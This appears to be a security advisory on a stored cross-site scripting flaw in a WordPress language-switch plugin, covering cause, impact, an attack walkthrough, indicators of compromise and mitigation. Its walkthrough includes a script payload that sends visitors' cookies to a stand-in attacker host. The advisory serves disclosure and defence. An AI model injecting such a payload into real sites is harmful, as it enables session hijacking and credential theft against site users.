CVE-2026-0735: 
WordPress vulnerability analysis and mitigation

CVE-2026-0735 is a Stored Cross-Site Scripting (XSS) vulnerability in the User Language Switch plugin for WordPress. It affects all versions up to and including 1.6.10, stemming from insufficient input sanitization and output escaping of the tab_color_picker_language_switch parameter. The vulnerability was published on February 14, 2026, and carries a CVSS v3.1 base score of 4.4 (Medium) (Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), arising from the plugin's failure to properly sanitize the tab_color_picker_language_switch parameter before storing and rendering it in web pages. An authenticated attacker with administrator-level privileges can inject arbitrary JavaScript or HTML that is persistently stored and executed in the browser of any user who visits the affected page. Exploitation is limited to multi-site WordPress installations or single-site installations where the unfiltered_html capability has been explicitly disabled, as these configurations prevent administrators from freely inserting raw HTML, making the plugin's insufficient escaping a meaningful security boundary (Red Hat CVE).

Successful exploitation allows an attacker to execute arbitrary scripts in the context of other users' browsers, potentially leading to session hijacking, credential theft, phishing, or unauthorized actions performed on behalf of victims. The scope is marked as Changed, meaning the injected script can affect resources beyond the plugin's own security context. Confidentiality and integrity are both rated Low impact, with no availability impact; however, in a multi-site environment, a compromised administrator account could leverage this to target other site administrators or users across the network (Red Hat CVE).

No public proof-of-concept exploit code or in-the-wild exploitation has been reported for CVE-2026-0735 as of the available data. The vulnerability requires high privileges (administrator-level access) and high attack complexity, significantly limiting the attacker pool. The EPSS score is approximately 0.026%, indicating a very low probability of exploitation in the near term. It is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Red Hat CVE).

1. Gain Administrator Access: Obtain or compromise an administrator-level account on a WordPress multi-site installation or a site where unfiltered_html is disabled and the User Language Switch plugin (≤1.6.10) is active.
2. Navigate to Plugin Settings: Log in to the WordPress admin dashboard and access the User Language Switch plugin configuration panel.
3. Inject Malicious Payload: In the tab_color_picker_language_switch parameter field, enter a crafted XSS payload (e.g., "><script>document.location='https://attacker.com/steal?c='+document.cookie</script>) instead of a legitimate color value.
4. Save Configuration: Submit the form to store the malicious payload in the WordPress database.
5. Trigger Execution: When any user (including other administrators or site visitors) loads a page that renders the injected parameter, the malicious script executes in their browser, enabling session theft, credential harvesting, or further attacks (Red Hat CVE).

• Logs: WordPress admin audit logs showing unexpected changes to User Language Switch plugin settings, particularly modifications to color picker parameters containing HTML tags or JavaScript syntax.
• Database: Entries in the wp_options table (or multisite equivalent) for the tab_color_picker_language_switch option containing <script>, javascript:, or encoded variants such as %3Cscript%3E.
• Network: Outbound requests from victim browsers to unknown external domains shortly after loading pages with plugin-rendered content, potentially carrying cookie or session data in query parameters.
• File System: No direct file system artifacts expected for a stored XSS; however, review plugin configuration exports or database backups for anomalous values in language switch settings.

WordPress site administrators should update the User Language Switch plugin to a version beyond 1.6.10 that includes proper input sanitization and output escaping fixes. Until a patched version is available, administrators can mitigate risk by ensuring that only fully trusted users hold administrator-level roles on affected installations, or by temporarily deactivating the plugin on multi-site networks and sites with unfiltered_html disabled. Enabling unfiltered_html for administrators (if operationally acceptable) would also remove the exploitable security boundary, though this introduces its own risks (Red Hat CVE).